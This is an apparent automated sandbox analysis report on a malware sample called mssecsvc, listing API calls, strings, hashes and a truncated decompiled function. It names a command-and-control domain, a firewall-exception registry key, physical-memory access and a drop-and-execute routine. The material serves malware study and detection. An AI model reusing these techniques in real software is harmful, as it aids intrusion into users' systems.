991->992 995 b042f2-b04310 Sleep ResetEvent 992->995 996 b042eb 992->996 993->990 994->975 995->975 996->995 1000 b042b7 998->1000 1001 b040bf-b0416e call b0273c call b02750 GetVersionExA call b02750 call b03358 call b04178 998->1001 1000->986 1012 b04170 1001->1012 1013 b04195-b041a5 call b03358 1001->1013 1015 b04192-b04194 1012->1015 1016 b04172-b0418c 1012->1016 1018 b041c3-b041ca 1013->1018 1019 b041a7-b041bd CreateThread CloseHandle 1013->1019 1015->1013 1016->1015 1021 b0418e 1016->1021 1022 b041d0-b041eb 1018->1022 1019->1018 1021->1015 1024 b04210-b04214 1022->1024 1025 b041ed-b041f4 1022->1025 1024->1000 1027 b0421a-b0421c 1024->1027 1025->1024 1026 b041f6-b04207 GetTickCount 1025->1026 1026->1024 1028 b04209 1026->1028 1029 b0421e-b04236 1027->1029 1028->1024 1030 b04238 1029->1030 1031 b0423b-b04243 1029->1031 1030->1031 1031->1029 1032 b04245 1031->1032 1033 b0424b-b0424f 1032->1033 1034 b04261-b04263 1033->1034 1035 b04251-b04258 call b02f08 1033->1035 1037 b04265-b0426f 1034->1037 1035->1000 1041 b0425a 1035->1041 1038 b04274-b04282 call b06541 call b0655b 1037->1038 1038->1022 1046 b04288-b04292 Sleep 1038->1046 1041->1037 1043 b0425c-b0425f 1041->1043 1043->1033 1046->1038 1047 b04294-b042a5 GetTickCount 1046->1047 1047->1022 1048 b042ab-b042b2 1047->1048 1048->1000 1048->1022
                                                                                          APIs
                                                                                          • GetProcAddress.KERNEL32(00000000,00B03D41), ref: 00B03D4C
                                                                                          • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00B03D5F
                                                                                          • GetTickCount.KERNEL32 ref: 00B03D93
                                                                                          • GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00B06EF6,00000000,00000000,00000000,00000000), ref: 00B03E65
                                                                                          • GetModuleFileNameA.KERNEL32(00000000,00B06AA2,000000C8), ref: 00B03EE2
                                                                                          • CreateThread.KERNEL32(00000000,00000000,00B03691,00000000,00000000), ref: 00B03F40
                                                                                          • CloseHandle.KERNEL32(?,542F1145), ref: 00B03F49
                                                                                          • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 00B03FE9
                                                                                          • CloseHandle.KERNEL32(?,00000000), ref: 00B03FF2
                                                                                          • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00B03FFF
                                                                                          • GetVersionExA.KERNEL32(?,?,00000000), ref: 00B040FB
                                                                                          • SetEvent.KERNEL32(?,?,00000000), ref: 00B042D6
                                                                                          • Sleep.KERNEL32(00007530,?,00000000), ref: 00B042F7
                                                                                          • ResetEvent.KERNEL32(?,?,00000000), ref: 00B0430A
                                                                                          Strings
                                                                                          • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00B03F0C
                                                                                          • ADVAPI32.DLL, xrefs: 00B03D5E
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000000A.00000002.357766957.0000000000B00000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B00000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_10_2_b00000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: CreateEvent$CloseHandleThread$AddressCountFileInformationLibraryLoadModuleNameProcResetSleepTickVersionVolume
                                                                                          • String ID: ADVAPI32.DLL$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                          • API String ID: 1484325168-2287716718
                                                                                          • Opcode ID: d164329b401e47e84a28de3fe606969c9cc020fa4a70ab4836cae6f21abb50e9
                                                                                          • Instruction ID: fdec5aee10634f836e63f4d43969f9c132763752476abd8c805dc52b88d9c469
                                                                                          • Opcode Fuzzy Hash: d164329b401e47e84a28de3fe606969c9cc020fa4a70ab4836cae6f21abb50e9
                                                                                          • Instruction Fuzzy Hash: CFE1EEB1518258BEEB25AF248C4EBEA3FECEF41700F004699E9499E0C2D7F45F4587A5
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00B04178 Relevance: 13.7, APIs: 9, Instructions: 192sleepstringthreadCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • lstrlen.KERNEL32(ilo.brenz.pl,?,00000000), ref: 00B04057
                                                                                          • GetVersionExA.KERNEL32(?,?,00000000), ref: 00B040FB
                                                                                          • CreateThread.KERNEL32(00000000,00000000,Function_00003819,6F6C6902,00000000), ref: 00B041B4
                                                                                          • CloseHandle.KERNEL32(?,00000000,6F6C6902,00B06AA2,00000000,00000000), ref: 00B041BD
                                                                                          • GetTickCount.KERNEL32 ref: 00B041F6
                                                                                          • Sleep.KERNEL32(00000064,?,00000000,6F6C6902,00B06AA2,00000000,00000000), ref: 00B0428B
                                                                                          • GetTickCount.KERNEL32 ref: 00B04294
                                                                                          • SetEvent.KERNEL32(?,?,00000000), ref: 00B042D6
                                                                                          • Sleep.KERNEL32(00007530,?,00000000), ref: 00B042F7
                                                                                          • ResetEvent.KERNEL32(?,?,00000000), ref: 00B0430A
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000000A.00000002.357766957.0000000000B00000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B00000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_10_2_b00000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: CountEventSleepTick$CloseCreateHandleResetThreadVersionlstrlen
                                                                                          • String ID:
                                                                                          • API String ID: 1413472813-0
                                                                                          • Opcode ID: 6b0defe1960dce2cb68afb5d2726ae1425874940fd6c70606eed0c1c35355a33
                                                                                          • Instruction ID: 6b5b5d4355f1bb0b1e9713937209442423c70db457b459b14ad4e39ba85b7383
                                                                                          • Opcode Fuzzy Hash: 6b0defe1960dce2cb68afb5d2726ae1425874940fd6c70606eed0c1c35355a33
                                                                                          • Instruction Fuzzy Hash: 0F71ECB1618258BAEB319F24885D7AE7FEDEF41310F040688EA5A9E0C1C7F45F85C765
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00B033E0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 220filenativeCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 00B0344A
                                                                                          • NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 00B03469
                                                                                          • MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 00B03493
                                                                                          • CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 00B034A0
                                                                                          • UnmapViewOfFile.KERNEL32(?), ref: 00B034B8
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000000A.00000002.357766957.0000000000B00000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B00000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_10_2_b00000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: FileView$CloseHandleInformationOpenQuerySectionSystemUnmap
                                                                                          • String ID: \Device\PhysicalMemory
                                                                                          • API String ID: 2985292042-2007344781
                                                                                          • Opcode ID: e2b0c8f568571b3f59211b8063e335b2ad8ba4e779b6cb58c9455f457ca39783
                                                                                          • Instruction ID: 5d8f26426e67dff5504208db1d46564283051eaf6ef2413262685fae4bd12b30
                                                                                          • Opcode Fuzzy Hash: e2b0c8f568571b3f59211b8063e335b2ad8ba4e779b6cb58c9455f457ca39783
                                                                                          • Instruction Fuzzy Hash: A1817971500208FFEB248F14CC89AAA3BADFF45B14F504658ED199F291D7F4AF458A64
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00B03405 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61filenativeCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 00B0344A
                                                                                          • NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 00B03469
                                                                                          • MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 00B03493
                                                                                          • CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 00B034A0
                                                                                          • UnmapViewOfFile.KERNEL32(?), ref: 00B034B8
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000000A.00000002.357766957.0000000000B00000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B00000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_10_2_b00000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: FileView$CloseHandleInformationOpenQuerySectionSystemUnmap
                                                                                          • String ID: ysic
                                                                                          • API String ID: 2985292042-20973071
                                                                                          • Opcode ID: 75692eae59ef229a2f56f45455e385a3c03fd5a3a941212ab90a82f7e6085517
                                                                                          • Instruction ID: 559b2d8aa54e4407264a85ef12cda6aceb5e069145916b96a6dc84eacf7b0b12
                                                                                          • Opcode Fuzzy Hash: 75692eae59ef229a2f56f45455e385a3c03fd5a3a941212ab90a82f7e6085517
                                                                                          • Instruction Fuzzy Hash: 8F116074140608BBEB24CF14CC59F9E3ABCEF88B04F50461CEA199B2D0D7F46F188658
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00B024AE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46stringnativeCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • lstrcpyW.KERNEL32(?,\BaseNamedObjects\qygtVt), ref: 00B024BA
                                                                                          • lstrlenW.KERNEL32(?), ref: 00B024C1
                                                                                          • NtCreateSection.NTDLL(?,0000000E,?,?,00000040,08000000,00000000), ref: 00B02516
                                                                                          Strings
                                                                                          • \BaseNamedObjects\qygtVt, xrefs: 00B024B8
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000000A.00000002.357766957.0000000000B00000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B00000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_10_2_b00000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: CreateSectionlstrcpylstrlen
                                                                                          • String ID: \BaseNamedObjects\qygtVt
                                                                                          • API String ID: 2597515329-554015858
                                                                                          • Opcode ID: 24e1d5014f48b771b06b1897b2dc165c095764915861e9c5feceffd7b0ebf951
                                                                                          • Instruction ID: fa5a26d4eae79408288141f4bd26782b0fb884e458c0739894830e2d6796afc6
                                                                                          • Opcode Fuzzy Hash: 24e1d5014f48b771b06b1897b2dc165c095764915861e9c5feceffd7b0ebf951
                                                                                          • Instruction Fuzzy Hash: 130186B07413047AF7305B29CC4BF5B7D69DF81B50F508558F705AE1C4DAB89A048369
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00B03F8F Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 224threadlibrarystringCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 1049 b03f8f-b03f97 LoadLibraryA 1050 b04320-b04322 RtlExitUserThread 1049->1050 1051 b03f9d-b03fbc call b010ce 1049->1051 1051->1050 1054 b03fc2-b0400b CreateThread CloseHandle CreateEventA 1051->1054 1057 b04012-b0402a call b037fa 1054->1057 1060 b04031-b04044 call b03b90 1057->1060 1061 b0402c-b0402f 1057->1061 1067 b0404a 1060->1067 1068 b042be-b042c5 1060->1068 1061->1060 1062 b0404c-b04054 1061->1062 1064 b04065-b0406e 1062->1064 1065 b04056-b04063 lstrlen 1062->1065 1074 b04074-b0407b 1064->1074 1075 b04315-b0431b 1064->1075 1065->1064 1065->1065 1071 b04081-b040a0 1067->1071 1068->1050 1069 b042c7-b042ce 1068->1069 1072 b042d0-b042dc SetEvent 1069->1072 1073 b042e2-b042e9 1069->1073 1071->1068 1079 b040a6-b040b9 1071->1079 1072->1073 1076 b042f2-b04310 Sleep ResetEvent 1073->1076 1077 b042eb 1073->1077 1074->1071 1075->1057 1076->1057 1077->1076 1081 b042b7 1079->1081 1082 b040bf-b0416e call b0273c call b02750 GetVersionExA call b02750 call b03358 call b04178 1079->1082 1081->1068 1093 b04170 1082->1093 1094 b04195-b041a5 call b03358 1082->1094 1096 b04192-b04194 1093->1096 1097 b04172-b0418c 1093->1097 1099 b041c3-b041ca 1094->1099 1100 b041a7-b041bd CreateThread CloseHandle 1094->1100 1096->1094 1097->1096 1102 b0418e 1097->1102 1103 b041d0-b041eb 1099->1103 1100->1099 1102->1096 1105 b04210-b04214 1103->1105 1106 b041ed-b041f4 1103->1106 1105->1081 1108 b0421a-b0421c 1105->1108 1106->1105 1107 b041f6-b04207 GetTickCount 1106->1107 1107->1105 1109 b04209 1107->1109 1110 b0421e-b04236 1108->1110 1109->1105 1111 b04238 1110->1111 1112 b0423b-b04243 1110->1112 1111->1112 1112->1110 1113 b04245 1112->1113 1114 b0424b-b0424f 1113->1114 1115 b04261-b04263 1114->1115 1116 b04251-b04258 call b02f08 1114->1116 1118 b04265-b0426f 1115->1118 1116->1081 1122 b0425a 1116->1122 1119 b04274-b04282 call b06541 call b0655b 1118->1119 1119->1103 1127 b04288-b04292 Sleep 1119->1127 1122->1118 1124 b0425c-b0425f 1122->1124 1124->1114 1127->1119 1128 b04294-b042a5 GetTickCount 1127->1128 1128->1103 1129 b042ab-b042b2 1128->1129 1129->1081 1129->1103
                                                                                          APIs
                                                                                          • LoadLibraryA.KERNEL32(00B03F83), ref: 00B03F8F
                                                                                          • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 00B03FE9
                                                                                          • CloseHandle.KERNEL32(?,00000000), ref: 00B03FF2
                                                                                          • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00B03FFF
                                                                                          • lstrlen.KERNEL32(ilo.brenz.pl,?,00000000), ref: 00B04057
                                                                                          • GetVersionExA.KERNEL32(?,?,00000000), ref: 00B040FB
                                                                                          • CreateThread.KERNEL32(00000000,00000000,Function_00003819,6F6C6902,00000000), ref: 00B041B4
                                                                                          • CloseHandle.KERNEL32(?,00000000,6F6C6902,00B06AA2,00000000,00000000), ref: 00B041BD
                                                                                          • GetTickCount.KERNEL32 ref: 00B041F6
                                                                                          • RtlExitUserThread.NTDLL(00000000), ref: 00B04322
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000000A.00000002.357766957.0000000000B00000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B00000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_10_2_b00000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: CreateThread$CloseHandle$CountEventExitLibraryLoadTickUserVersionlstrlen
                                                                                          • String ID: ilo.brenz.pl
                                                                                          • API String ID: 2802001013-878173267
                                                                                          • Opcode ID: ee4b1f535ca79d9535994823dd2765b1aa6c936bb005bd660b800cb5032af16f
                                                                                          • Instruction ID: be9f3f2cb5a4584904dfda9f87cbf596763b954dc007f93c079e890ba15af356
                                                                                          • Opcode Fuzzy Hash: ee4b1f535ca79d9535994823dd2765b1aa6c936bb005bd660b800cb5032af16f
                                                                                          • Instruction Fuzzy Hash: DA91C9B1618248BAEB319F24881DBEA7FEDEF41300F040588EA5A9E1D1D3F45F45CB65
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00B03EB5 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 276librarythreadCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • LoadLibraryA.KERNEL32(00B03EA9), ref: 00B03EB5
                                                                                            • Part of subcall function 00B03ECC: GetProcAddress.KERNEL32(00000000,00B03EC0), ref: 00B03ECD
                                                                                            • Part of subcall function 00B03ECC: GetModuleFileNameA.KERNEL32(00000000,00B06AA2,000000C8), ref: 00B03EE2
                                                                                            • Part of subcall function 00B03ECC: CreateThread.KERNEL32(00000000,00000000,00B03691,00000000,00000000), ref: 00B03F40
                                                                                            • Part of subcall function 00B03ECC: CloseHandle.KERNEL32(?,542F1145), ref: 00B03F49
                                                                                          • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 00B03FE9
                                                                                          • CloseHandle.KERNEL32(?,00000000), ref: 00B03FF2
                                                                                          • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00B03FFF
                                                                                          • GetVersionExA.KERNEL32(?,?,00000000), ref: 00B040FB
                                                                                          Strings
                                                                                          • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00B03F0C
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000000A.00000002.357766957.0000000000B00000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B00000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_10_2_b00000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: Create$CloseHandleThread$AddressEventFileLibraryLoadModuleNameProcVersion
                                                                                          • String ID: SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                          • API String ID: 4113580538-621207024
                                                                                          • Opcode ID: 9f06b138147dde36dface2e64d8b648724a67120387ec8aabe41be75442747ba
                                                                                          • Instruction ID: 0325e283dbc4250fe88c927055e5f8001fb9b26d3385d8c67d8f2a98feeb1885
                                                                                          • Opcode Fuzzy Hash: 9f06b138147dde36dface2e64d8b648724a67120387ec8aabe41be75442747ba
                                                                                          • Instruction Fuzzy Hash: D0A1DCB1518249BEEB219F248C5EBEA7FECEF42300F044689E9499E0C2D7F05F4587A5
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00B03ECC Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 265threadlibraryloaderCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • GetProcAddress.KERNEL32(00000000,00B03EC0), ref: 00B03ECD
                                                                                          • GetModuleFileNameA.KERNEL32(00000000,00B06AA2,000000C8), ref: 00B03EE2
                                                                                          • CreateThread.KERNEL32(00000000,00000000,00B03691,00000000,00000000), ref: 00B03F40
                                                                                          • CloseHandle.KERNEL32(?,542F1145), ref: 00B03F49
                                                                                          • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 00B03FE9
                                                                                          • CloseHandle.KERNEL32(?,00000000), ref: 00B03FF2
                                                                                          • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00B03FFF
                                                                                            • Part of subcall function 00B03405: NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 00B0344A
                                                                                            • Part of subcall function 00B03405: NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 00B03469
                                                                                            • Part of subcall function 00B03405: MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 00B03493
                                                                                            • Part of subcall function 00B03405: CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 00B034A0
                                                                                            • Part of subcall function 00B03405: UnmapViewOfFile.KERNEL32(?), ref: 00B034B8
                                                                                          Strings
                                                                                          • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00B03F0C
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000000A.00000002.357766957.0000000000B00000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B00000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_10_2_b00000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: CloseCreateFileHandle$ThreadView$AddressEventInformationModuleNameOpenProcQuerySectionSystemUnmap
                                                                                          • String ID: SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                          • API String ID: 3400179232-621207024
                                                                                          • Opcode ID: 3176691832235144c822bda6bdece0b9c65d83022bcced3ec1f9b4779e38ef98
                                                                                          • Instruction ID: 22e347590fa49a5ba3addc16570a76a3e925003c3a1d5432651f21464d246bd4
                                                                                          • Opcode Fuzzy Hash: 3176691832235144c822bda6bdece0b9c65d83022bcced3ec1f9b4779e38ef98
                                                                                          • Instruction Fuzzy Hash: 75A1ECB1518259BEEB219F248C4EBEA7FECEF41300F044689E9499E0C2D7F05F4587A5
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00B03F60 Relevance: 12.2, APIs: 8, Instructions: 215librarystringthreadCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • LoadLibraryA.KERNEL32(00B03F54), ref: 00B03F60
                                                                                            • Part of subcall function 00B03F8F: LoadLibraryA.KERNEL32(00B03F83), ref: 00B03F8F
                                                                                            • Part of subcall function 00B03F8F: CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 00B03FE9
                                                                                            • Part of subcall function 00B03F8F: CloseHandle.KERNEL32(?,00000000), ref: 00B03FF2
                                                                                            • Part of subcall function 00B03F8F: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00B03FFF
                                                                                            • Part of subcall function 00B03F8F: GetVersionExA.KERNEL32(?,?,00000000), ref: 00B040FB
                                                                                          • lstrlen.KERNEL32(ilo.brenz.pl,?,00000000), ref: 00B04057
                                                                                          • CreateThread.KERNEL32(00000000,00000000,Function_00003819,6F6C6902,00000000), ref: 00B041B4
                                                                                          • CloseHandle.KERNEL32(?,00000000,6F6C6902,00B06AA2,00000000,00000000), ref: 00B041BD
                                                                                          • GetTickCount.KERNEL32 ref: 00B041F6
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000000A.00000002.357766957.0000000000B00000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B00000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_10_2_b00000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: Create$CloseHandleLibraryLoadThread$CountEventTickVersionlstrlen
                                                                                          • String ID:
                                                                                          • API String ID: 2925003024-0
                                                                                          • Opcode ID: 98c4dc3622c81e610166b3295d4bccfe550f8d2832964dac318e74891848542e
                                                                                          • Instruction ID: 3742f42243748dd9207c2b4828354a434c13bb300a0f547106572c9e8aa24cf9
                                                                                          • Opcode Fuzzy Hash: 98c4dc3622c81e610166b3295d4bccfe550f8d2832964dac318e74891848542e
                                                                                          • Instruction Fuzzy Hash: 2D81EEB1518258BEEB219F24885DBEA7FECEF41300F044598E9499E0C2D7F45F4587A1
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00B02768 Relevance: 7.6, APIs: 5, Instructions: 85COMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • GetTempPathA.KERNEL32(00000104), ref: 00B0278C
                                                                                            • Part of subcall function 00B027A7: GetTempFileNameA.KERNEL32(?,00B027A3,00000000,?), ref: 00B027A8
                                                                                            • Part of subcall function 00B027A7: CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000,?,00B027A3,00000000,?), ref: 00B027C3
                                                                                            • Part of subcall function 00B027A7: WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000104,?,00000000,?,00B027A3,00000000,?), ref: 00B027F3
                                                                                            • Part of subcall function 00B027A7: CloseHandle.KERNEL32(?,00000104,?,00000000,?,00B027A3,00000000,?), ref: 00B027FF
                                                                                            • Part of subcall function 00B027A7: CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000104,?,00000000,?,00B027A3), ref: 00B02823
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000000A.00000002.357766957.0000000000B00000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B00000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_10_2_b00000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: File$CreateTemp$CloseHandleNamePathProcessWrite
                                                                                          • String ID:
                                                                                          • API String ID: 3982275768-0
                                                                                          • Opcode ID: 2d38deb6aefaf5fafd3701ae89f7df2c8b85ad1d9cd8c4e8e23ab3e50bde978c
                                                                                          • Instruction ID: 2fff0ff5af8c6465178c1c561c4d0f8c3a67871aa8ea1ef7c45b64e975e68631
                                                                                          • Opcode Fuzzy Hash: 2d38deb6aefaf5fafd3701ae89f7df2c8b85ad1d9cd8c4e8e23ab3e50bde978c
                                                                                          • Instruction Fuzzy Hash: 8821DCB1144206BFE7215B20CC8EFEB3E6CEF95B00F000168FA09890C2D7B19E0986A6
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00B027A7 Relevance: 7.6, APIs: 5, Instructions: 65fileprocessCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • GetTempFileNameA.KERNEL32(?,00B027A3,00000000,?), ref: 00B027A8
                                                                                          • CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000,?,00B027A3,00000000,?), ref: 00B027C3
                                                                                          • WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000104,?,00000000,?,00B027A3,00000000,?), ref: 00B027F3
                                                                                          • CloseHandle.KERNEL32(?,00000104,?,00000000,?,00B027A3,00000000,?), ref: 00B027FF
                                                                                          • CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000104,?,00000000,?,00B027A3), ref: 00B02823
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000000A.00000002.357766957.0000000000B00000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B00000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_10_2_b00000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: File$Create$CloseHandleNameProcessTempWrite
                                                                                          • String ID:
                                                                                          • API String ID: 463619559-0
                                                                                          • Opcode ID: bbf5c5561a5178fb7ef464295b4b729c13e68fcf671b41c3dcb44b7c67eff673
                                                                                          • Instruction ID: 3189656eef598a48bbe5ba90781ea45905783295adf0d12584f0d91f1734b68d
                                                                                          • Opcode Fuzzy Hash: bbf5c5561a5178fb7ef464295b4b729c13e68fcf671b41c3dcb44b7c67eff673
                                                                                          • Instruction Fuzzy Hash: 331180B1100606BBFB250F20CC4EFFF7A6DEF84B10F004519FA0699090DBF59E5596A8
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00B010CE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54libraryloaderCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(0019FF1C), ref: 00B0113D
                                                                                          • GetProcAddress.KERNEL32(00000000,00B011D6), ref: 00B01148
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000000A.00000002.357766957.0000000000B00000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B00000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_10_2_b00000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: AddressHandleModuleProc
                                                                                          • String ID: .DLL
                                                                                          • API String ID: 1646373207-899428287
                                                                                          • Opcode ID: 82aecbdba2b6c313781f1a35b90d956a9f8d4ce40e6713e346beece58f6b0b34
                                                                                          • Instruction ID: c3d0a0a9aaca42a511bcd59da19942ef0d532df52aeb98cf39af17153e687186
                                                                                          • Opcode Fuzzy Hash: 82aecbdba2b6c313781f1a35b90d956a9f8d4ce40e6713e346beece58f6b0b34
                                                                                          • Instruction Fuzzy Hash: D6019630607005FADF6D9E6CC889BAA3FEDFF08351F104994EA1A9B1D6C7B0CE508695
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Non-executed Functions

                                                                                          Function 00406C40 Relevance: 30.1, APIs: 13, Strings: 4, Instructions: 365COMMONCrypto
                                                                                          Download Yara Rule
                                                                                          C-Code - Quality: 75%
                                                                                          			E00406C40(intOrPtr* __ecx, void* __edx, intOrPtr _a4, void* _a8, signed int _a11) {
				signed int _v5;
				signed char _v10;
				char _v11;
				char _v12;
				char _v16;
				char _v20;
				intOrPtr* _v24;
				struct _FILETIME _v32;
				struct _FILETIME _v40;
				char _v44;
				unsigned int _v72;
				intOrPtr _v96;
				intOrPtr _v100;
				unsigned int _v108;
				unsigned int _v124;
				char _v384;
				char _v644;
				char _t142;
				char _t150;
				void* _t151;
				signed char _t156;
				long _t173;
				signed char _t185;
				signed char* _t190;
				signed char* _t194;
				intOrPtr* _t204;
				signed int _t207;
				signed int _t208;
				intOrPtr* _t209;
				unsigned int _t210;
				char _t212;
				signed char _t230;
				signed int _t234;
				signed char _t238;
				void* _t263;
				unsigned int _t264;
